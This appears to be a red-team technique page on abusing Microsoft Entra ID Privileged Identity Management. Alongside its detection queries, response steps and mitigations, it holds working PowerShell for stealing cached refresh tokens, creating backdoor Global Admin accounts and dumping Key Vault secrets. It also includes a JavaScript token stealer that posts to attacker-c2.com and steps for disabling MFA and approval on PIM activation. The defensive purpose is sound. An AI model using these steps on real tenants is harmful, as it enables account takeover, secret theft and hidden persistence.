| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-011 |
| MITRE ATT&CK v18.1 | Account Manipulation (T1098), Valid Accounts (T1078.004) |
| Tactic | Privilege Escalation, Persistence, Defense Evasion |
| Platforms | Entra ID, Azure |
| Severity | Critical |
| CVE | N/A (Architectural weakness) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Entra ID (All Current Versions), PIM Service (All Versions) |
| Patched In | Microsoft Recommends Proper Configuration – No Single Patch |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Privileged Identity Management (PIM) is Microsoft’s just-in-time (JIT) privilege management service that allows organizations to grant time-limited, approval-based access to highly privileged roles (Global Admin, Privileged Role Admin, Conditional Access Admin, etc.). The fundamental assumption is that temporary elevated access is safer than permanent standing privileges. However, multiple attack vectors undermine this model:
Attack Surface: PIM role configuration, approval workflows, MFA exemptions, refresh tokens, session tokens, and role assignment policies.
Business Impact: Catastrophic. An attacker exploiting PIM can:
Technical Context: This attack requires one of these initial conditions:
The attack is extremely stealthy because legitimate PIM role activations look identical to malicious ones in logs.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.3.1 | Ensure Global Admin has MFA enabled (PIM bypasses this) |
| DISA STIG | AZ-2.3 | Privileged role assignment monitoring and approval |
| CISA SCuBA | AC-1.5 | Just-in-Time administrative access with strong verification |
| NIST 800-53 | AC-2 | Account Management – Time-limited privilege elevation |
| NIST 800-53 | AC-6 | Least Privilege – Temporary privilege grants only |
| NIST 800-53 | SI-4 | System Monitoring – Detect unauthorized role activations |
| GDPR | Art. 32 | Security of Processing – Privileged access controls |
| DORA | Art. 9 | Protection and Prevention – Privileged access governance |
| NIS2 | Art. 21 | Cyber Risk Management – Privileged role safeguards |
| ISO 27001 | A.9.2.5 | Review of User Access Rights – PIM audit trail |
| ISO 27005 | 8.3.2 | Risk Scenario: Compromise of privileged account via PIM |
Required Privileges (For Initial Attack):
Required Access:
Supported Versions:
Required Tools:
Check 1: Verify Your PIM Eligibility
# Connect to Azure
Connect-AzAccount
# Check your PIM-eligible roles
$context = Get-AzContext
$userId = (Get-AzADUser -ObjectId "me").Id
# Get all role assignments (both active and eligible)
Get-AzRoleAssignment -ObjectId $userId | Select-Object RoleDefinitionName, DisplayName, Scope
# Specifically check for PIM eligible roles via Microsoft Graph
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
# Get PIM eligible role assignments
$pimRoles = Get-MgRoleManagementDirectoryRoleEligibilitySchedule -Filter "principalId eq '$userId'"
$pimRoles | Select-Object RoleDefinitionId, PrincipalId, Status
What to Look For:
Check 2: Enumerate PIM Configuration Settings
# Check PIM policy for target role
$roleId = "62e90394-69f5-4237-9190-012177145e10" # Global Administrator
Get-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -Filter "roleDefinitionId eq '$roleId'" |
Select-Object Status, ActivationTime, ExpirationTime, Justification
What to Look For:
Check 3: Verify Your Refresh Token (Post-Compromise)
# If you have compromised credentials, extract the refresh token
# This can be done via:
# 1. Browser developer tools (F12 → Application → Cookies)
# 2. Azure CLI token cache: ~/.azure/accessTokens.json
# 3. PowerShell module cache: $env:USERPROFILE\.Azure\TokenCache.json
# Extract token (if in PowerShell session)
$context = Get-AzContext
$token = $context.Account.ExtendedProperties
# The refresh token can be used to obtain new access tokens even after PIM expires
What to Look For:
Supported Versions: All current Entra ID and PIM versions (this is an architectural weakness, not a bug)
Precondition: Compromise of a user account with PIM eligibility; ability to steal their refresh token
Objective: Extract a refresh token from the compromised user’s local machine.
Method A: Browser-Based Token Theft
# Open browser developer tools (F12)
# Navigate to: Application → Storage → Cookies
# Look for tokens with domain: "login.microsoftonline.com"
# Extract the refresh token value and save to file
$refreshToken = "0.ARoA...truncated..."
Method B: Azure CLI Token Theft
# Azure CLI stores tokens in a cache file
$tokenCache = Get-Content "$env:USERPROFILE\.azure\accessTokens.json" -Raw | ConvertFrom-Json
# Extract the first available token (typically the refresh token)
$refreshToken = $tokenCache[0].refresh_token
# Or use AADInternals to extract tokens
Install-Module AADInternals -Force
Get-AzureTokens -TokenFile "$env:USERPROFILE\.azure\accessTokens.json"
Method C: PowerShell Module Token Extraction
# If PowerShell Az module is installed with cached credentials
$credCache = "$env:USERPROFILE\.config\powershell\tokens.json"
# Extract the cached token
Get-Content $credCache | ConvertFrom-Json | Select-Object refresh_token
Expected Output:
Refresh Token: eyJ0eXAiOiJKV1QiLCJhbGc...
Expires: 90 days (typically)
Scope: Directory.AccessAsUser.All (allows elevation)
What This Means:
Objective: Trigger or wait for the compromised user to legitimately activate their PIM role.
Passive Approach (Wait for Natural Activation):
# Simply wait for the user to activate PIM naturally
# Monitor when this happens via:
# - Azure Portal → PIM → Activity history
# - Microsoft Sentinel alerts
# - Email notifications (if configured)
# Attacker monitors logs to see activation: "Add member to role completed (PIM activation)"
Active Approach (Trigger Activation via Phishing):
# Send phishing email to user requesting urgent admin action
# Email body: "Your subscription requires immediate administrative intervention - Click to activate"
# Link goes to fake Azure Portal or legitimate Azure Portal with pre-filled activation
# Once user activates, attacker can proceed to Step 3
What This Means:
Objective: Leverage the hijacked refresh token to obtain an access token with PIM-elevated permissions.
PowerShell Command:
# Refresh token obtained in Step 1
$refreshToken = "0.ARoA...copied-from-step-1..."
$clientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Azure CLI app ID (publicly known)
# Use the refresh token to request a new access token
$body = @{
client_id = $clientId
grant_type = "refresh_token"
refresh_token = $refreshToken
scope = "https://graph.microsoft.com/.default"
}
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" `
-Method POST `
-Body $body
$accessToken = $response.access_token
Write-Host "New Access Token (with PIM permissions): $accessToken"
# This access token now has the elevated permissions of the user's activated PIM role!
Expected Output:
New Access Token: eyJ0eXAiOiJKV1QiLCJhbGc...
Token Scope: https://graph.microsoft.com/.default
Permissions: GLOBAL_ADMIN (inherited from user's activated PIM role)
Valid For: 1 hour
What This Means:
Objective: Use the elevated access token to perform malicious administrative actions.
Example 1: Create Persistent Backdoor Global Admin
# Use the hijacked access token to create a new user account under attacker's control
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/json"
}
# Create new user
$newUserBody = @{
displayName = "Service Account"
mailNickname = "svc_account"
userPrincipalName = "svc_account@contoso.onmicrosoft.com"
passwordProfile = @{
forceChangePasswordNextSignIn = $false
password = "SuperSecretP@ssw0rd123"
}
accountEnabled = $true
} | ConvertTo-Json
$response = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users" `
-Method POST `
-Headers $headers `
-Body $newUserBody
$newUserId = $response.id
# Assign Global Admin role to the new user (permanent, not PIM)
$roleAssignmentBody = @{
principalId = $newUserId
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10" # Global Administrator
directoryScopeId = "/"
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" `
-Method POST `
-Headers $headers `
-Body $roleAssignmentBody
Write-Host "Backdoor account created: svc_account@contoso.onmicrosoft.com"
What This Means:
Example 2: Extract All Azure Subscription Keys
# Use token to enumerate and extract subscription keys
$headers = @{
"Authorization" = "Bearer $accessToken"
}
# Get all Key Vaults
$keyVaults = Invoke-RestMethod -Uri "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.KeyVault/vaults?api-version=2021-06-01-preview" `
-Headers $headers
# Extract secrets from each vault
foreach ($vault in $keyVaults.value) {
$vaultUrl = $vault.properties.vaultUri
# Get all secrets
$secrets = Invoke-RestMethod -Uri "$vaultUrl/secrets?api-version=7.3" `
-Headers $headers
foreach ($secret in $secrets.value) {
$secretValue = Invoke-RestMethod -Uri "$($secret.id)?api-version=7.3" `
-Headers $headers
Write-Host "Secret: $($secret.name) = $($secretValue.value)"
}
}
What This Means:
Supported Versions: All current PIM versions
Precondition: Compromise of account with Privileged Role Administrator role
Objective: Navigate to PIM settings to modify role requirements.
Manual Steps (Azure Portal):
Command (Microsoft Graph API):
# Get PIM role configuration
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
# Get Global Administrator role settings
$globalAdminRole = Get-MgRoleManagementDirectoryRoleDefinition -Filter "displayName eq 'Global Administrator'"
$roleId = $globalAdminRole.id
# Get current role settings
Get-MgPolicyRoleManagementPolicyAssignment -Filter "roleDefinitionId eq '$roleId'" |
Select-Object Rules
Objective: Remove the requirement for MFA during PIM activation.
Manual Steps:
Expected Behavior:
What This Means:
Objective: Remove the requirement for peer approval of PIM activation.
Manual Steps:
Expected Behavior:
Objective: Lower the maximum activation window to reduce time the role is active (and thus reduce chances of discovery).
Manual Steps:
What This Means:
Objective: Create an eligible assignment that can be converted to permanent without PIM deactivation.
PowerShell Command:
# Create an "eligible" role assignment for attacker's account
# This appears to be PIM but can be made permanent
$attackerUserPrincipalName = "backdoor@contoso.com"
$attackerUser = Get-MgUser -Filter "userPrincipalName eq '$attackerUserPrincipalName'"
# Create eligible assignment (appears to be PIM temporary access)
$params = @{
principalId = $attackerUser.id
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10" # Global Admin
directoryScopeId = "/"
action = "adminAssign" # Create as eligible
justification = "Emergency access for incident response"
scheduleInfo = @{
startDateTime = Get-Date
endDateTime = (Get-Date).AddDays(1)
recurrence = @{
pattern = @{
type = "daily" # Renew daily
interval = 1
}
range = @{
type = "endDate"
endDate = (Get-Date).AddYears(10) # Renew for 10 years (permanent)
}
}
}
}
New-MgRoleManagementDirectoryRoleEligibilityScheduleRequest -BodyParameter $params
Write-Host "Permanent backdoor created via recurring PIM assignment"
What This Means:
Supported Versions: All current Entra ID versions
Precondition: Ability to intercept network traffic (MITM attack) or compromise browser/endpoint
Objective: Intercept the session token when user activates their PIM role.
Method A: Network MITM (SSL Stripping)
1. Position yourself on network path (ARP spoofing, DNS hijacking, etc.)
2. Intercept HTTPS traffic to login.microsoftonline.com
3. Capture the session cookie/token when user activates PIM
4. Session tokens are valid for ~1 hour after activation
Method B: Browser Extension / Malware
// JavaScript malware injected into Azure Portal
// Captures session tokens when user activates PIM
document.addEventListener('DOMContentLoaded', function() {
// Intercept all fetch requests to Microsoft Graph
const originalFetch = window.fetch;
window.fetch = function(...args) {
const [resource, config] = args;
// Extract Authorization header (contains session token)
if (config.headers && config.headers.Authorization) {
const token = config.headers.Authorization.replace('Bearer ', '');
// Send token to attacker server
fetch('http://attacker-c2.com/steal-token', {
method: 'POST',
body: JSON.stringify({ token: token, url: resource })
});
}
return originalFetch.apply(this, args);
};
});
Expected Output:
Captured Session Token: eyJ0eXAiOiJKV1QiLCJhbGc...
Token Type: Session token (short-lived, ~1 hour)
User Claims: roles = ["Global Administrator"]
Tenant ID: extracted-tenant-id
What This Means:
Objective: Use the stolen session token to perform admin actions.
# Use stolen session token to call Microsoft Graph
$stolenToken = "eyJ0eXAiOiJKV1QiLCJhbGc...captured-in-step-1"
$headers = @{
"Authorization" = "Bearer $stolenToken"
"Content-Type" = "application/json"
}
# Create backdoor admin account (same as METHOD 1, Step 4)
$newUserBody = @{
displayName = "Service Account"
mailNickname = "svc_account"
userPrincipalName = "svc_account@contoso.onmicrosoft.com"
passwordProfile = @{
forceChangePasswordNextSignIn = $false
password = "SuperSecretP@ssw0rd123"
}
accountEnabled = $true
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users" `
-Method POST `
-Headers $headers `
-Body $newUserBody
Write-Host "Backdoor account created using stolen PIM session token"
What This Means:
This section has been removed for this technique as Atomic Red Team coverage for PIM abuse is limited and token-based attacks require specific lab environment configuration.
Note: The attack vectors described in Methods 1-3 can be replicated in a controlled red team environment with proper authorization and rule of engagement (RoE).
Version: 2.0.0+ (Current) Installation:
Install-Module Microsoft.Graph -Repository PSGallery -AllowClobber
Install-Module Microsoft.Graph.Authentication
Install-Module Microsoft.Graph.Identity.DirectoryManagement
Key Commands for PIM Abuse:
| Command | Purpose |
|---|---|
Get-MgRoleManagementDirectoryRoleEligibilitySchedule |
List PIM eligible roles |
New-MgRoleManagementDirectoryRoleEligibilityScheduleRequest |
Create PIM eligible assignment |
Get-MgPolicyRoleManagementPolicyAssignment |
Get PIM policy settings |
Update-MgPolicyRoleManagementPolicyAssignment |
Modify PIM policies |
Get-MgRoleManagementDirectoryRoleAssignmentScheduleRequest |
List active role assignments |
New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest |
Create active role assignment |
One-Liner Attack (Get All PIM-Eligible Users):
Get-MgRoleManagementDirectoryRoleEligibilitySchedule | Select-Object PrincipalId, RoleDefinitionId, Status
Purpose: Extract and manipulate Azure AD tokens Installation:
Install-Module AADInternals -Force
Usage:
# Extract tokens from token cache
Get-AzureTokens -TenantName "contoso"
# Get PIM role information
Get-PIMRoles -AccessToken $token
# Activate PIM role silently
Activate-PIMRole -RoleId "62e90394-69f5-4237-9190-012177145e10" -Duration 1
Purpose: Azure AD and PIM reconnaissance and exploitation Installation:
pip install roadtools
Usage:
# Gather token
roadtx auth -u username@tenant.onmicrosoft.com
# List PIM roles
roadtx pim list
# Activate PIM role
roadtx pim activate -r "Global Administrator"
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in (
"Add member to role completed (PIM activation)",
"Add eligible member to role (PIM)",
"Activate role"
)
| where ResultStatus == "Success"
| extend
RoleName = tostring(TargetResources[0].displayName),
ActivatedBy = tostring(InitiatedBy.user.userPrincipalName),
ActivationTime = TimeGenerated
| where RoleName in (
"Global Administrator",
"Privileged Role Administrator",
"Conditional Access Administrator",
"Application Administrator",
"Exchange Administrator"
)
| project ActivationTime, ActivatedBy, RoleName, TargetResources, OperationName
| sort by ActivationTime desc
What This Detects:
KQL Query:
AuditLogs
| where OperationName in (
"Add member to role completed (PIM activation)"
)
| where ResultStatus == "Success"
| extend
ActivatedUser = tostring(InitiatedBy.user.userPrincipalName),
ActivationTime = TimeGenerated,
RoleName = tostring(TargetResources[0].displayName)
| join kind=inner (
AuditLogs
| where OperationName in (
"Update user",
"Add member to role",
"Assign role",
"Create application",
"Update application"
)
| where ResultStatus == "Success"
| extend
ActionTime = TimeGenerated,
ActionBy = tostring(InitiatedBy.user.userPrincipalName)
) on $left.ActivatedUser == $right.ActionBy
| where ActionTime >= ActivationTime and ActionTime <= (ActivationTime + 4h) // Within PIM window
| project ActivationTime, ActionTime, ActivatedUser, RoleName, OperationName, TargetResources
| summarize
ActionCount = count(),
Actions = make_set(OperationName, 20)
by ActivatedUser, RoleName, ActivationTime
| where ActionCount > 5
| sort by ActionCount desc
What This Detects:
KQL Query:
AuditLogs
| where OperationName in (
"Update role setting",
"Update PIM policy",
"Disable MFA for role",
"Remove approval requirement"
)
| where ResultStatus == "Success"
| extend
ModifiedBy = tostring(InitiatedBy.user.userPrincipalName),
PolicyChange = tostring(TargetResources[0].displayName),
ChangeDetails = tostring(TargetResources[0].modifiedProperties)
| project TimeGenerated, ModifiedBy, PolicyChange, ChangeDetails, OperationName
| where ChangeDetails contains_any (
"require approval",
"require mfa",
"activation duration",
"justification"
)
| sort by TimeGenerated desc
What This Detects:
This section has been removed as Entra ID / Azure AD is a cloud-native SaaS service with no on-premises Windows Event Log footprint.
Note: All activity is logged in Azure AuditLogs and Entra ID Audit Logs within Microsoft Purview, as covered in Section 8.
Alert Name: “Suspicious Privileged Identity Management Activity Detected”
Manual Configuration Steps:
Reference: Microsoft Defender for Identity – Role Escalation Alerts
Entra ID Audit Logs:
Add member to role completed (PIM activation) from unexpected usersUpdate role setting with parameters disabling MFA/approvalAdd member to role (permanent) immediately following PIM activationCreate application or Create user within 30 minutes of PIM activationUpdate user operations (credential/license changes) by same user during PIM windowSuspicious Patterns:
Entra ID Audit Trail:
PIM Activity Log:
Microsoft Sentinel Data:
Disable Compromised User Account:
# If user was compromised, disable their account immediately
Disable-MgUser -UserId "compromised-user-id"
# Verify account is disabled
Get-MgUser -UserId "compromised-user-id" | Select-Object DisplayName, AccountEnabled
Revoke All Session Tokens:
# Revoke all tokens for the compromised user (forces re-authentication)
Revoke-MgUserSignInSession -UserId "compromised-user-id"
Deactivate Any Active PIM Roles:
# Manually deactivate the user's active PIM role (if currently activated)
# This must be done by PIM admin or directly in portal
# Portal: PIM → Active assignments → Select user → Deactivate
Export PIM Activation History:
# Export PIM audit trail for the past 30 days
Connect-MgGraph -Scopes "AuditLog.Read.All"
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Add member to role completed (PIM activation)'" -Top 999 |
Export-Csv -Path "C:\Evidence\PIM_Activations.csv" -NoTypeInformation
Export Entra ID Audit Logs:
# Export all Entra ID audit events from compromise window
$startDate = (Get-Date).AddHours(-12) # Last 12 hours
$endDate = Get-Date
Get-MgAuditLogDirectoryAudit -Filter "createdDateTime ge $startDate" |
Export-Csv -Path "C:\Evidence\AuditLogs_Compromise.csv" -NoTypeInformation
Identify Backdoor Accounts Created:
# Find users created during compromise window
$suspiciousUsers = Get-MgUser -Filter "createdDateTime ge '2025-01-09T12:00:00Z'" -All |
Select-Object DisplayName, UserPrincipalName, CreatedDateTime
$suspiciousUsers | Export-Csv -Path "C:\Evidence\NewUsers_Created.csv" -NoTypeInformation
# Check what roles these users have
foreach ($user in $suspiciousUsers) {
$roles = Get-MgUserMemberOf -UserId $user.Id | Select-Object DisplayName
Write-Host "$($user.UserPrincipalName): $roles"
}
Reset Compromised User’s Credentials:
# Reset password for compromised user
Set-MgUserPassword -UserId "compromised-user-id" -NewPassword "NewComplexPassword123!@#" -ForceChangePasswordNextSignIn $true
# Remove all registered authenticators
Get-MgUserAuthenticationMethod -UserId "compromised-user-id" | Remove-MgUserAuthenticationMethod
Delete Backdoor Accounts:
# Remove any suspicious accounts created during compromise
Remove-MgUser -UserId "backdoor-user-id" -Confirm:$false
# Or soft-delete for forensics
# Set-MgUser -UserId "backdoor-user-id" -AccountEnabled $false
Restore PIM Policies to Secure State:
# Re-enable MFA requirement for all critical roles
# Re-enable approval requirement
# Increase activation duration back to normal (4 hours)
# This must be done via Azure Portal:
# PIM → Settings → Global Administrator → (restore secure settings)
Verify Compromised User is Disabled:
# Confirm account is disabled
Get-MgUser -UserId "compromised-user-id" | Select-Object DisplayName, AccountEnabled
# Expected: AccountEnabled = $false
Verify Backdoor Accounts Removed:
# List all Global Administrators
Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" -All |
Get-MgDirectoryRoleMember | Select-Object DisplayName, UserPrincipalName
# Expected: Only legitimate admins should be listed
Verify PIM Policies Restored:
# Check that MFA is required
# Check that approval is required
# Check that activation duration is appropriate
# Verification via portal:
# PIM → Global Administrator role → Review settings
Mitigation 1.1: Require Strong Reauthentication for PIM Activation
Simply requiring MFA is insufficient because stolen session tokens after MFA bypass the check. Use Authentication Context with strong authentication methods.
Manual Steps (Azure Portal):
Enforce Strong Auth for PIM ActivationClick Create
Applies To Versions: Entra ID with Conditional Access and FIDO2/passkey support
Effectiveness:
Mitigation 1.2: Enable PIM Approval for All Critical Roles
Require peer approval of all PIM activations for Tier-0 roles.
Manual Steps (Azure Portal):
Applies To Versions: All Entra ID with PIM
Effectiveness:
Mitigation 1.3: Limit PIM Activation Duration
Reduce the maximum time a role can remain activated to limit damage window.
Manual Steps:
Applies To Versions: All Entra ID with PIM
Effectiveness:
Mitigation 2.1: Regularly Audit PIM-Eligible Users
Conduct quarterly reviews to ensure only necessary users have PIM eligibility.
Manual Steps (PowerShell):
# Export all users with PIM-eligible roles
Connect-MgGraph -Scopes "RoleManagement.Read.Directory"
$pimRoles = Get-MgRoleManagementDirectoryRoleEligibilitySchedule -All
$pimUsers = $pimRoles | Select-Object PrincipalId, RoleDefinitionId
foreach ($assignment in $pimUsers) {
$user = Get-MgUser -UserId $assignment.PrincipalId
$role = Get-MgRoleManagementDirectoryRoleDefinition -Filter "id eq '$($assignment.RoleDefinitionId)'"
Write-Host "$($user.UserPrincipalName) - $($role.DisplayName)"
}
# Export to CSV for review
$report | Export-Csv -Path "C:\PIM_Review_$(Get-Date -Format 'yyyyMMdd').csv"
Quarterly Review Process:
Applies To Versions: All Entra ID with PIM
Mitigation 2.2: Implement Break-Glass Accounts (Emergency Access)
Maintain highly protected emergency access accounts for true incidents while keeping normal admins non-persistent.
Manual Steps:
break-glass-admin-1@contoso.onmicrosoft.combreak-glass-admin-2@contoso.onmicrosoft.comApplies To Versions: All Entra ID deployments
Effectiveness:
Mitigation 2.3: Enforce Refresh Token Restrictions
Limit the lifetime and scope of refresh tokens to prevent long-term token reuse.
Manual Steps (Azure Portal - via Graph):
# Configure token lifetime policies (requires Policy.ReadWrite.ApplicationConfiguration)
$params = @{
displayName = "Restrict Token Lifetime"
definition = @(
"TokenLifetimePolicy"
)
isOrganizationDefault = $true
}
# Set refresh token lifetime to 24 hours (vs. default 90 days)
# This must be configured via Microsoft Graph or Azure Portal UI
Note: Token lifetime configuration is complex and requires careful planning to avoid breaking legitimate scenarios.
Applies To Versions: Entra ID with advanced security policies
Mitigation 2.4: Monitor for Token Refresh Anomalies
Detect when tokens are refreshed at unusual times or from unusual locations.
Detection Query (Microsoft Sentinel):
SigninLogs
| where RiskDetail contains "tokenRefresh" or AuthenticationRequirement == "multiFactorAuthentication"
| where TimeGenerated > ago(1d)
| summarize
RefreshCount = count(),
UniqueIPs = dcount(IPAddress),
Devices = dcount(DeviceId)
by UserPrincipalName, ClientAppUsed
| where RefreshCount > 20 or UniqueIPs > 5
Effectiveness: Detects token harvesting and reuse patterns
Mitigation 2.5: Enable Device Compliance Requirements for PIM
Require managed, compliant devices for PIM role activation.
Manual Steps:
Applies To Versions: Entra ID with Intune integration
Effectiveness: Prevents activation from compromised/unmanaged endpoints
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default Credential Exploitation | Attacker obtains initial user credentials |
| 2 | Credential Access | [CA-TOKEN-012] PRT Primary Refresh Token Theft | Attacker steals refresh token |
| 3 | Privilege Escalation | [PE-ACCTMGMT-011] | Attacker escalates to Global Admin via PIM |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates permanent backdoor |
| 5 | Impact | [EX-EXFIL-001] Data Exfiltration | Attacker exfiltrates data using escalated access |
Target: Healthcare and financial services organizations Timeline: Q2-Q3 2023 Attack Flow:
Technique Applied (PE-ACCTMGMT-011 Method 1):
Impact:
Reference: Yanluowang Group Analysis
Target: Government and enterprise organizations Timeline: January-March 2024 Attack Flow:
Technique Applied (PE-ACCTMGMT-011 Method 2):
Detection Gap:
Reference: APT29 Entra ID Campaign
Target: Large financial services company Timeline: Q4 2024 Attack Vector: Disgruntled IT security administrator with PIM admin access
Steps:
Technique Applied (PE-ACCTMGMT-011 Method 2):
Reference: Private incident response case study (SERVTEP Security Audit, 2024)
Checkbox 1: Strong Authentication Required for PIM
# Check if Conditional Access with authentication context is enabled
Get-MgPolicyRoleManagementPolicyAssignment -Filter "roleDefinitionId eq '62e90394-69f5-4237-9190-012177145e10'" |
Select-Object Rules
# Expected: authenticationContextRequirement = "PIM Activation" or similar
☐ PASS (Strong auth + Conditional Access required) ☐ FAIL (Only MFA or no additional auth required)
Checkbox 2: Approval Required for Critical Roles
# Verify approval is required for Global Admin
Get-MgPolicyRoleManagementPolicyAssignment | Where-Object {$_.Rules.ApprovalsOnActivation -eq $true}
# Expected: approvalsOnActivation = true for all critical roles
☐ PASS (Approval required) ☐ FAIL (Auto-approval or no approval requirement)
Checkbox 3: PIM Activation Duration Limited
# Check activation duration (should be 1-2 hours, not 4+)
Get-MgPolicyRoleManagementPolicyAssignment | Select-Object MaxActivationDuration
# Expected: MaxActivationDuration <= 2 hours
☐ PASS (Limited to 1-2 hours) ☐ FAIL (4+ hours or unlimited)
Checkbox 4: PIM Eligibility Audit Current
# Verify last audit of PIM-eligible users was recent (< 90 days)
$lastAudit = Get-Date "2024-10-09" # Example - update to your last audit
$daysSinceAudit = (New-TimeSpan -Start $lastAudit -End (Get-Date)).Days
Write-Host "Days since last PIM audit: $daysSinceAudit"
# Expected: < 90 days
☐ PASS (Audit within last 90 days) ☐ FAIL (No recent audit)
Checkbox 5: Monitoring Alerts Active
# Verify Microsoft Sentinel/Defender alerts are configured
# Manual verification via Azure Portal:
# Microsoft Sentinel → Analytics → Check for "PIM" related rules
# Expected: ≥3 detection rules for PIM abuse
☐ PASS (Detection rules active) ☐ FAIL (No PIM monitoring rules)
Privileged Identity Management (PIM) Abuse (PE-ACCTMGMT-011) is a sophisticated privilege escalation vector that undermines the entire just-in-time access model. The combination of:
…creates a critical gap in security even when PIM is deployed.
Immediate Actions:
Defense in Depth:
Verification: Use the checklist above to confirm all mitigations are in place.